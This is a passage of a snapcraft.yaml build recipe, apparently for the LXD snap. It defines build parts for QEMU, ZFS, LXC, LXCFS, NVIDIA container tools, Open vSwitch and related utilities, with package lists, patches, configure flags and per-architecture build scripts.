        - libatomic1
    organize:
      usr/lib/: lib/
    prime:
      # XXX: libatomic.so is needed by Ceph/QEMU on s390x and riscv64.
      - lib/*/libatomic.so*

  logrotate:
    plugin: nil
    stage-packages:
      - logrotate
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
      usr/sbin/: bin/
    stage:
      - bin/logrotate
    prime:
      - bin/logrotate

  lvm:
    plugin: nil
    stage-packages:
      - dmeventd
      - lvm2
      - thin-provisioning-tools
    organize:
      usr/lib/: lib/
      usr/sbin/: bin/
    override-build: |-
      # --batch: ensures non-interactive execution
      # --forward: ensures reversed or already-applied patches fail immediately
      # --no-backup-if-mismatch: prevents .orig generation when hunks match with line shifts or minor context fuzz
      patch --batch --forward --no-backup-if-mismatch -p1 \
        -d "${CRAFT_PART_INSTALL}" \
        -i "${CRAFT_PROJECT_DIR}/patches/lvm-0001-lvm.conf.patch"

      craftctl default
    prime:
      - bin/cache_*
      - bin/dmeventd
      - bin/era_*
      - bin/lv*
      - bin/pdata_tools
      - bin/pv*
      - bin/thin_*
      - bin/vg*
      - -bin/vgimportclone
      - -bin/lvmconf
      - -bin/lvmdump
      - -bin/lvmetad
      - -bin/lvmpolld
      - etc/lvm/lvm.conf
      - etc/lvm/profile/*
      - lib/*/device-mapper/*
      - lib/*/libaio.so*
      - lib/*/libdevmapper*
      - lib/*/liblvm*
      - lib/*/libreadline.so*

  nftables:
    plugin: nil
    stage-packages:
      - nftables
    organize:
      usr/lib/: lib/
      usr/sbin/: bin/
    prime:
      - bin/nft
      - lib/*/libjansson*so*
      - lib/*/libnftables*so*

  nvidia-container:
    source: https://github.com/NVIDIA/libnvidia-container
    source-commit: 3e428194f8616a81e16834d27365e4a663668533 # v1.20.1
    source-depth: 1
    source-type: git
    plugin: make
    build-environment:
      - GIT_TAG: "1.20.1" # Enables source-depth: 1, should match git tag without "v" prefix.
    build-packages:
      - to amd64:
        - bmake
        - curl
        - libelf-dev
        - libseccomp-dev
        - lsb-release
        - libtirpc-dev
      - to arm64:
        - bmake
        - curl
        - libelf-dev
        - libseccomp-dev
        - lsb-release
        - libtirpc-dev
    build-snaps:
      - go/1.27/stable
    override-stage: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-prime: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-pull: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-build: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      set -ex

      # Setup build environment
      export GOTOOLCHAIN="local"
      export GOFLAGS="-trimpath"

      # Git cherry-picks
      git config user.email "noreply@lists.canonical.com"
      git config user.name "LXD snap builder"

      patch -p1 < "${CRAFT_PROJECT_DIR}/patches/nvidia-0001-Fix-for-22.04-build.patch"
      patch -p1 < "${CRAFT_PROJECT_DIR}/patches/nvidia-0002-pre-load-libdl.patch"

      mkdir -p "${CRAFT_PART_INSTALL}/bin/"
      cp "${CRAFT_PROJECT_DIR}/snap/local/wrappers/nvidia-container-cli" "${CRAFT_PART_INSTALL}/bin/"

      set +ex
      craftctl default
    organize:
      usr/local/bin/nvidia-container-cli: bin/nvidia-container-cli.real
      usr/local/lib: lib/
    prime:
      - bin/nvidia-container-cli*
      - lib/libnvidia-container.so*
      - lib/libnvidia-container-go.so*  # dlopen()'ed by libnvidia-container.so

  nvidia-container-toolkit:
    source: https://github.com/NVIDIA/nvidia-container-toolkit
    source-depth: 1
    source-commit: dffc40b4f820ce5c512633bac9e0418d0e05a2ee # v1.20.1
    source-type: git
    build-snaps:
      - go/1.27/stable
    plugin: make
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      [ "${CRAFT_ARCH_BUILD_FOR}" = "riscv64" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      [ "${CRAFT_ARCH_BUILD_FOR}" = "riscv64" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      [ "${CRAFT_ARCH_BUILD_FOR}" = "riscv64" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      [ "${CRAFT_ARCH_BUILD_FOR}" = "riscv64" ] && exit 0
      set -ex

      # Setup build environment
      export GOTOOLCHAIN="local"
      export GOFLAGS="-trimpath"

      make binaries
      mkdir -p "${CRAFT_PART_INSTALL}/bin/"
      cp nvidia-ctk "${CRAFT_PART_INSTALL}/bin/"
    organize:
      usr/bin/: bin/
    prime:
      - bin/nvidia-ctk

  nvme:
    plugin: nil
    stage-packages:
      - nvme-cli
    organize:
      usr/lib/: lib/
      usr/sbin/: bin/
    prime:
      - bin/nvme
      - lib/*/libnvme*

  openvswitch:
    plugin: nil
    stage-packages:
      - to armhf: []
      - else:
        - openvswitch-common
        - openvswitch-switch
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
      usr/share/: share/
    prime:
      - bin/ovs-vsctl
      - lib/*/libunbound*so*
      - share/openvswitch/vswitch.ovsschema
      - to riscv64:
        # libbpf.so is also needed but comes from the core base
        - lib/*/libxdp.so*

  ovn:
    after:
      - openvswitch
    plugin: nil
    stage-packages:
      - to armhf: []
      - else:
        - ovn-common
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
    prime:
      - bin/ovn-nbctl
      - bin/ovn-sbctl
      - lib/*/libevent-2.1*so*
      - lib/*/libunbound*so*

  spice-server:
    after:
      - python-runtime
    source: https://git.launchpad.net/ubuntu/+source/spice
    source-commit: 8c6cce7e0f8543063f2418051635efa52302fd47 # import/0.16.0-1
    source-depth: 1
    source-type: git
    # XXX: needed for snapcraft 8.x only
    build-environment:
      - PATH: "/usr/bin:${PATH}" # ensure python3 is found in PATH
    plugin: meson
    meson-parameters:
      - --prefix=/
      - -Dgstreamer=no
      - -Dmanual=false
      - -Dlz4=false
      - -Dsasl=false
      - -Dopus=disabled
      - -Dsmartcard=disabled
      - -Dtests=false
    build-packages:
      - to armhf: []
      - else:
        - libspice-protocol-dev
        - libjpeg-turbo8-dev
        - python3-pyparsing
        - python3-six
        - meson
        - ninja-build
    stage-packages:
      - to armhf: []
      - else:
        - libjpeg-turbo8
        - libpixman-1-0
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0

      # Apply patches from Ubuntu sources.
      cd ../src
      QUILT_PATCHES=debian/patches quilt push -a
      cd ../build

      craftctl default
    organize:
      usr/lib: lib/
    prime:
      - lib/*/libjpeg*so*
      - lib/*/libspice-server*so*
      - lib/*/libpixman*so*

  swtpm:
    plugin: nil
    stage-packages:
      - swtpm
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
    prime:
      - bin/swtpm
      - lib/*/swtpm/libswtpm*so*
      - lib/*/libtpms*so*
      - lib/*/libjson-glib-1.0*so*

  qemu:
    after:
      - libatomic
      - spice-server
      - python-runtime
    source: https://git.launchpad.net/ubuntu/+source/qemu
    source-commit: 85eabe56085d03cb58c749408801344fc91b9173 # import/1%10.2.1+ds-1ubuntu3.2
    source-depth: 1
    source-type: git
    plugin: autotools
    autotools-configure-parameters:
      # XXX: needed for snapcraft 8.x only
      - --python=/usr/bin/python3  # Force the use of the build host's Python
      - --disable-auth-pam
      - --disable-bochs
      - --disable-brlapi
      - --disable-cloop
      - --disable-curl
      - --disable-dmg
      - --disable-docs
      - --disable-fuse
      - --disable-glusterfs
      - --disable-gnutls
      - --disable-gtk
      - --disable-guest-agent
      - --disable-libiscsi
      - --disable-libnfs
      - --disable-libpmem
      - --disable-libssh
      - --disable-nettle
      - --disable-oss
      - --disable-parallels
      - --disable-qed
      - --disable-sdl
      - --disable-slirp
      - --disable-tcg  # TCG is not used (nor supported) at runtime
      - --disable-user
      - --disable-vde
      - --disable-vdi
      - --disable-vmnet
      - --disable-vnc
      - --disable-vvfat
      - --disable-xen
      - --disable-xkbcommon
      - --enable-attr
      - --enable-cap-ng
      - --enable-kvm
      - --enable-libusb
      - --enable-usb-redir
      - --enable-linux-aio
      - --enable-linux-io-uring
      - --enable-numa
      - --enable-pie
      - --enable-rbd
      - --enable-seccomp
      - --enable-spice
      - --enable-system
      - --enable-tools
      - --enable-vhost-crypto
      - --enable-vhost-kernel
      - --enable-vhost-net
      - --enable-vhost-user
      - --firmwarepath=/snap/lxd/current/share/qemu/
      - --localstatedir=/var/
      - --disable-install-blobs # Ubuntu sources don't have the ROM blobs in them.
    build-packages:
      - to armhf: []
      - else:
        - bison
        - bzip2
        - flex
        - pkg-config
        - libaio-dev
        - libcap-ng-dev
        - libfdt-dev
        - libglib2.0-dev
        - libnuma-dev
        - libpixman-1-dev
        - libseccomp-dev
        - liburing-dev
        - libusb-1.0-0-dev
        - libusbredirparser-dev
        - meson
        - quilt
        - librbd-dev
    stage-packages:
      - to armhf: []
      - else:
        - genisoimage
        - ipxe-qemu # This is needed due to --disable-install-blobs.
        - libfdt1
        - libmagic1t64
        - libnuma1
        - libpixman-1-0
        - libusb-1.0-0
        - libusbredirparser1t64
        - liburing2
        - opensbi # This is needed due to --disable-install-blobs.
        - seabios # This is needed due to --disable-install-blobs.
        - qemu-system-data # This is needed due to --disable-install-blobs.
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default

    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      set -ex
      # If configure finds a `.git` dir, it enables -Werror (`--enable-werror` and Git submodules are validated).
      # When building the deb on LP, this `.git` dir is not present because a tarball is used.
      # The `-Werror` causes compilation failures on ppc64el so let's remove the `.git` dir to align with the deb behavior.
      [ -d .git ] && rm -rf .git

      # Mangle the configure a bit
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64) QEMUARCH="x86_64" ;;
          arm64) QEMUARCH="aarch64" ;;
          ppc64el) QEMUARCH="ppc64" ;;
          *) QEMUARCH="${CRAFT_ARCH_BUILD_FOR}" ;;
      esac

      # Apply patches from Ubuntu sources.
      QUILT_PATCHES=debian/patches quilt push -a

      sed -i "s/^unset target_list$/target_list=\"${QEMUARCH}-softmmu\"/" configure
      sed -i 's#libseccomp_minver=".*#libseccomp_minver="0.0"#g' configure

      # As of May 2026 QEMU for riscv64 does not support building with --disable-tcg
      if [ "${QEMUARCH}" = "riscv64" ]; then
          # `set -- "$@"`: preserve arguments passed to `configure` and append
          # `--enable-tcg` at the end to override the previous `--disable-tcg`.
          sed -i '1 a set -- "$@" --enable-tcg' configure
      fi

      # opensbi provides `fw_dynamic.bin` and `qemu-system-riscv` creates a
      # symlink. Manually moving the binary into place avoids pulling the QEMU
      # package just for the symlink.
      if [ "${QEMUARCH}" = "riscv64" ]; then
          mkdir -p "${CRAFT_PART_INSTALL}"/share/qemu/
          mv "${CRAFT_PART_INSTALL}"/usr/lib/riscv64-linux-gnu/opensbi/generic/fw_dynamic.bin "${CRAFT_PART_INSTALL}"/share/qemu/opensbi-riscv64-generic-fw_dynamic.bin
      fi

      set +ex
      craftctl default

    organize:
      usr/bin/: bin/
      usr/lib/: lib/
      usr/local/bin/: bin/
      usr/local/lib/: lib/
      usr/local/libexec/: bin/
      usr/local/share/: share/
      usr/share/qemu/efi-virtio.rom: share/qemu/
      usr/share/qemu/kvmvapic.bin: share/qemu/
      usr/share/qemu/s390-ccw.img: share/qemu/
      usr/share/qemu/slof.bin: share/qemu/
      usr/share/seabios/bios-256k.bin: share/qemu/
      usr/share/seabios/vgabios-virtio.bin: share/qemu/
    prime:
      - bin/genisoimage*
      - bin/mkisofs*
      - bin/qemu-system-*
      - bin/qemu-img*
      - bin/qemu-nbd
      - bin/qemu-storage-daemon
      - lib/*/libatomic.so*
      - lib/*/libmagic*so*
      - lib/*/libnuma*so*
      - lib/*/libpixman*so*
      - lib/*/liburing.so*
      - lib/*/libusbredir*so*
      - lib/*/libusb*so*
      - to amd64:
        - lib/*/libfdt*.so*
        - share/qemu/bios-256k.bin
        - share/qemu/efi-virtio.rom
        - share/qemu/kvmvapic.bin
        - share/qemu/vgabios-virtio.bin
      - to arm64:
        - lib/*/libfdt*.so*
        - share/qemu/vgabios-virtio.bin
      - to ppc64el:
        - lib/*/libfdt*.so*
        - share/qemu/slof.bin
      - to riscv64:
        - lib/*/libfdt*.so*
        - share/qemu/opensbi-riscv64-generic-fw_dynamic.bin
      - to s390x:
        - share/qemu/s390-ccw.img

  squashfs-tools-ng:
    plugin: nil
    stage-packages:
      - squashfs-tools-ng
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
    prime:
      - bin/sqfs2tar
      - bin/tar2sqfs
      - lib/*/libsquashfs.so*

  virtiofsd:
    plugin: nil
    stage-packages:
      - to armhf: []
      - else:
        - virtiofsd
    organize:
      usr/libexec/: bin/
    prime:
      - bin/virtiofsd*
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default

  xfs:
    plugin: nil
    stage-packages:
      - xfsprogs
    organize:
      usr/lib/: lib/
      usr/sbin/: bin/
      sbin/: bin/
    prime:
      - bin/xfs_admin
      - bin/xfs_db
      - bin/xfs_growfs
      - bin/xfs_repair
      - bin/mkfs.xfs
      - lib/*/libinih.so*
      - lib/*/liburcu.so*

  xtables:
    plugin: nil
    stage-packages:
      - ebtables
      - netbase
    organize:
      usr/lib/ebtables/: lib/
      usr/sbin/: bin/
    prime:
      #- etc/ethertypes  # use ethertypes from the base snap
      #- etc/protocols   # use protocols from the base snap
      - bin/ebtables-legacy
      - lib/libebtc.so.*

  xz:
    plugin: nil
    stage-packages:
      - xz-utils
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
      usr/sbin/: bin/
    prime:
      - bin/lzma
      - bin/xz
      - lib/*/liblzma*so*
    override-build: |
      craftctl default

      # Include the lzma symlink
      ln -s xz "${CRAFT_PART_INSTALL}/usr/bin/lzma"

  zfs-2-2:
    source: https://github.com/openzfs/zfs
    source-commit: f2d87f5c724ccdbb27a11fb84c4a185e0a917598 # zfs-2.2.11
    source-depth: 1
    source-type: git
    plugin: autotools
    build-packages:
      - to armhf: []
      - else:
        - libblkid-dev
        - libssl-dev
        - uuid-dev
        - zlib1g-dev
        - libtirpc-dev
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      set -ex
      RAW_VER="${CRAFT_PART_NAME#zfs-}"
      ZFS_VER="${RAW_VER/-/.}"

      # Bypass `craftctl default` to only build 'zfs' and 'zpool' targets and not `make all`
      cd "${CRAFT_PART_SRC}"
      ./autogen.sh
      ./configure --prefix=/ --with-config=user
      make -j$(nproc) zfs zpool

      mkdir -p "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin" "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/lib"

      find . -type f -name "zfs" -path "*/.libs/*" -exec cp {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin/" \;
      find . -type f -name "zpool" -path "*/.libs/*" -exec cp {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin/" \;
      find . -name "*.so*" -path "*/.libs/*" -exec cp -P {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/lib/" \;

  zfs-2-3:
    source: https://github.com/openzfs/zfs
    source-commit: 4c0eb7203e5a2b147d1d5e27b5e2a3461a95c1dc # zfs-2.3.9
    source-depth: 1
    source-type: git
    plugin: autotools
    build-packages:
      - to armhf: []
      - else:
        - libblkid-dev
        - libssl-dev
        - uuid-dev
        - zlib1g-dev
        - libtirpc-dev
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      set -ex
      RAW_VER="${CRAFT_PART_NAME#zfs-}"
      ZFS_VER="${RAW_VER/-/.}"

      # Bypass `craftctl default` to only build 'zfs' and 'zpool' targets and not `make all`
      cd "${CRAFT_PART_SRC}"
      ./autogen.sh
      ./configure --prefix=/ --with-config=user
      make -j$(nproc) zfs zpool

      mkdir -p "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin" "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/lib"

      find . -type f -name "zfs" -path "*/.libs/*" -exec cp {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin/" \;
      find . -type f -name "zpool" -path "*/.libs/*" -exec cp {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin/" \;
      find . -name "*.so*" -path "*/.libs/*" -exec cp -P {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/lib/" \;

  zfs-2-4:
    source: https://github.com/openzfs/zfs
    source-commit: 71a9f9578616a90c3c14bb59629fb4d31bfd68d1 # zfs-2.4.4
    source-depth: 1
    source-type: git
    plugin: autotools
    build-packages:
      - to armhf: []
      - else:
        - libblkid-dev
        - libssl-dev
        - uuid-dev
        - zlib1g-dev
        - libtirpc-dev
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      set -ex
      RAW_VER="${CRAFT_PART_NAME#zfs-}"
      ZFS_VER="${RAW_VER/-/.}"

      # Bypass `craftctl default` to only build 'zfs' and 'zpool' targets and not `make all`
      cd "${CRAFT_PART_SRC}"
      ./autogen.sh
      ./configure --prefix=/ --with-config=user
      make -j$(nproc) zfs zpool

      mkdir -p "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin" "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/lib"

      find . -type f -name "zfs" -path "*/.libs/*" -exec cp {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin/" \;
      find . -type f -name "zpool" -path "*/.libs/*" -exec cp {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/bin/" \;
      find . -name "*.so*" -path "*/.libs/*" -exec cp -P {} "${CRAFT_PART_INSTALL}/zfs-${ZFS_VER}/lib/" \;

  zstd:
    plugin: nil
    stage-packages:
      - zstd
    organize:
      usr/bin/: bin/
    prime:
      - bin/pzstd
      - bin/zstd

  # Core components
  lxc:
    source: https://github.com/lxc/lxc
    source-commit: e4415af07e3ec291205bc828e2b4e8141f91a499 # v7.0.0
    source-depth: 1
    source-type: git
    build-packages:
      - libapparmor-dev
      - libcap-dev
      - libseccomp-dev
      - pkg-config
      - meson
      - ninja-build
    plugin: meson
    meson-parameters:
      - "--buildtype=release"
      - -Dapparmor=true
      - -Dcapabilities=true
      - -Dcommands=false
      - -Ddbus=false
      - -Dexamples=false
      - -Dinstall-init-files=false
      - -Dinstall-state-dirs=false
      - -Dlibdir=lib/${CRAFT_ARCH_TRIPLET_BUILD_FOR}
      - -Dman=false
      - -Dmemfd-rexec=false
      - -Dopenssl=false
      - -Dprefix=/
      - -Drootfs-mount-path=/var/snap/lxd/common/lxc/
      - -Dseccomp=true
      - -Dselinux=false
      - -Dspecfile=false
      - -Dtests=false
      - -Dtools=false
    organize:
      snap/lxd/current/lxc: lxc
      share/lxc/hooks: lxc/hooks
    prime:
      - bin/lxc-checkconfig
      - lib/*/liblxc.so.1
      - lib/*/liblxc.so.1.*
      - lxc/config/common.conf.d
      - lxc/hooks/nvidia
    override-build: |
      set -ex

      # Git cherry-picks
      cd ../src
      git config user.email "noreply@lists.canonical.com"
      git config user.name "LXD snap builder"

      # lxc-checkconfig.in does not need any preprocessing
      mkdir -p "${CRAFT_PART_INSTALL}/bin/"
      install --mode=0755 src/lxc/cmd/lxc-checkconfig.in "${CRAFT_PART_INSTALL}/bin/lxc-checkconfig"

      cd ../build

      set +ex
      craftctl default
      set -ex

      mkdir -p "${CRAFT_PART_INSTALL}/lxc/config/common.conf.d/"
      ln -s /var/snap/lxd/common/lxc/local.conf "${CRAFT_PART_INSTALL}/lxc/config/common.conf.d/01-local.conf"

  lxcfs:
    after:
      - python-runtime
    source: https://github.com/lxc/lxcfs
    source-commit: 0995aec6f046bb79589ce2a6a9453d371d74f24d # v7.0.0
    source-depth: 0
    source-type: git
    # XXX: needed for snapcraft 8.x only
    build-environment:
      - PATH: "/usr/bin:${PATH}" # ensure python3 is found in PATH
    build-packages:
      - libfuse3-dev
      - pkg-config
      - python3-jinja2
      - meson
      - ninja-build
    stage-packages:
      - fuse3
      - glibc-tools
    plugin: meson
    meson-parameters:
      - --prefix=/
      - --datadir=/snap/lxd/current/
      - --localstatedir=/var/snap/lxd/common/var/
      - -Ddocs=false
      - -Dinit-script=   # Disables generation of systemd/sysvinit scripts
      - -Dtests=false
    organize:
      lib/*/lxcfs/liblxcfs.so: lib/
      snap/lxd/current/lxc/config/common.conf.d/*: lxc/config/common.conf.d/
      snap/lxd/current/lxcfs/: lxcfs/
      usr/bin/: bin/
      usr/lib/: lib/
    prime:
      - bin/fusermount
      - bin/fusermount3
      - lib/*/libfuse3.so.*

      - lib/*/libSegFault.so

      - bin/lxcfs
      - lib/liblxcfs.so

      - lxc/config/common.conf.d/00-lxcfs.conf
      - lxcfs/
    override-build: |
      set -ex

      # Git cherry-picks
      cd ../src
      git config user.email "noreply@lists.canonical.com"
      git config user.name "LXD snap builder"
      git cherry-pick 4eda2a5ebfb306ca1e76343ccf3420fd3c8e5518 # lxcfs: Conditionally disable FUSE poll support unless PSI polling is enabled

      set +ex
      craftctl default
      set -ex

      patch -p1 "${CRAFT_PART_INSTALL}/snap/lxd/current/lxcfs/lxc.mount.hook" < "${CRAFT_PROJECT_DIR}/patches/lxcfs-0001-hook.patch"
      rm -f "${CRAFT_PART_INSTALL}/snap/lxd/current/lxcfs/lxc.mount.hook.orig"

  uefivars:
    after:
      - spice-server
      - edk2
      - nftables
      - python-runtime
    plugin: nil
    stage-packages:
      - to amd64:
        - python3-uefivars
      - to arm64:
        - python3-uefivars
    override-stage: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-prime: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-pull: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-build: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    organize:
      usr/bin/uefivars: bin/uefivars.py
      usr/lib/: lib/
    prime:
      # The deepdiff dependency is only used in tests, so we don't need to include it in the prime step.
      # https://github.com/awslabs/python-uefivars/pull/18
      - bin/uefivars.py  # LXD expects the .py extension
      - lib/python3/dist-packages/crc32c*
      - lib/python3/dist-packages/pyuefivars*
      - lib/python3/dist-packages/uefivars*
      # Remove crc32c bloat
      - -lib/python3/dist-packages/crc32c/ext
      - -lib/python3/dist-packages/crc32c/benchmark.py
      - -lib/python3/dist-packages/crc32c/*.pyi
      - -lib/python3/dist-packages/crc32c/py.typed
      # Exclude compiled bytecode, `uefivars.py` is rarely invoked.
      - -lib/python3/dist-packages/**/__pycache__

  lxd:
    source: .
    after:
      - python-runtime
      - lxc
      - dqlite
    build-packages:
      - cmake
      - libacl1-dev
      - libudev-dev
      - libxml2-dev
      - libxslt1-dev
      - libblas-dev
      - libopenblas-dev
      - liblapack-dev
      - pkg-config
      - pypy3-dev
      - python3-dev
      - python3-pip
      - python3-venv
    build-snaps:
      - go/1.27/stable
    stage-packages:
      - acl
      - attr
      - dnsmasq-base
      - gdisk
      - iw
      - lshw
      - pci.ids
      - pigz
      - rsync
      - usb.ids
      - xdelta3
    plugin: nil
    override-pull: |
      craftctl default
      set -ex

      # Setup build environment
      export GOTOOLCHAIN="local"
      export GOPATH="$(realpath ./.go)"

      # Setup the GOPATH
      rm -Rf "${GOPATH}"
      mkdir -p "${GOPATH}/src/github.com/canonical"
      ln -s "$(pwd)" "${GOPATH}/src/github.com/canonical/lxd"

      # Download the dependencies
      go get -v ./...
    override-build: |
      set -ex

      # Git cherry-picks
      cd ../src
      git config user.email "noreply@lists.canonical.com"
      git config user.name "LXD snap builder"

      # Setup build environment
      export GOTOOLCHAIN="local"
      export GOPATH="$(realpath ./.go)"
      export CGO_CFLAGS="-I${CRAFT_STAGE}/include/ -I${CRAFT_STAGE}/usr/local/include/"
      export CGO_LDFLAGS="-L${CRAFT_STAGE}/lib/ -L${CRAFT_STAGE}/usr/local/lib/"
      export CGO_LDFLAGS_ALLOW="(-Wl,-wrap,pthread_create)|(-Wl,-z,now)"

      # Build the binaries
      go build -trimpath -o "${CRAFT_PART_INSTALL}/bin/lxc" github.com/canonical/lxd/lxc

      # Build LXD server binary into ${CRAFT_PART_INSTALL}/sbin/lxd so that it does not conflict with the
      # lxd-stophook wrapper script which is stored in ${CRAFT_PART_INSTALL}/bin/lxd.
      # This way when a container stops it will call "/snap/lxd/current/bin/lxd callhook" which is handled by the
      # lxd-stophook script, which in turn will execute "/snap/lxd/current/bin/lxd-user callhook" to notify LXD.
      go build -trimpath -o "${CRAFT_PART_INSTALL}/sbin/lxd" -tags=libsqlite3 github.com/canonical/lxd/lxd

      # Build static binaries
      CGO_ENABLED=0 go build -trimpath -o "${CRAFT_PART_INSTALL}/bin/lxd-agent" -tags=agent,netgo github.com/canonical/lxd/lxd-agent
      CGO_ENABLED=0 go build -trimpath -o "${CRAFT_PART_INSTALL}/bin/lxd-user" -tags netgo github.com/canonical/lxd/lxd-user

      # Check which Go version was used to compile each of the lxc/lxd binaries
      # XXX: fail if an unexpected version (like a Go toolchain) was used
      GOVER="$(snap list go | awk '{if ($1 == "go") print $2}')"
      UNEXPECTED_GO_VER="$(go version -v "${CRAFT_PART_INSTALL}/bin/lxc"* "${CRAFT_PART_INSTALL}/bin/lxd"* | grep -vF ": go${GOVER}" || true)"
      if [ -n "${UNEXPECTED_GO_VER:-}" ]; then
        echo "Some binaries were compiled with an unexpected Go version (!= ${GOVER}):"
        echo "${UNEXPECTED_GO_VER}"
        exit 1
      fi

      # Some python dependencies are not available for armhf or just require a build from source.
      # Not worth the effort for now.
      if [ "${CRAFT_ARCH_BUILD_FOR}" != "armhf" ]; then
        # Build the static website
        # XXX: needed for snapcraft 8.x only
        PATH="/usr/bin:${PATH}" make doc # ensure python3 is found in PATH

        # Remove unneeded bits
        rm doc/_build/objects.inv    # only objects.inv.txt is used
        rm -f doc/_build/llms*.txt   # LLM-targeted docs are not needed in the snap
        # not needed once built
        rm doc/_build/.buildinfo
        rm -rf doc/_build/_sphinx_design_static/

        # Copy the static website
        mkdir -p "${CRAFT_PART_INSTALL}/share/lxd-documentation"
        cp -a doc/_build/. "${CRAFT_PART_INSTALL}/share/lxd-documentation/"
      fi

      # Setup bash completion
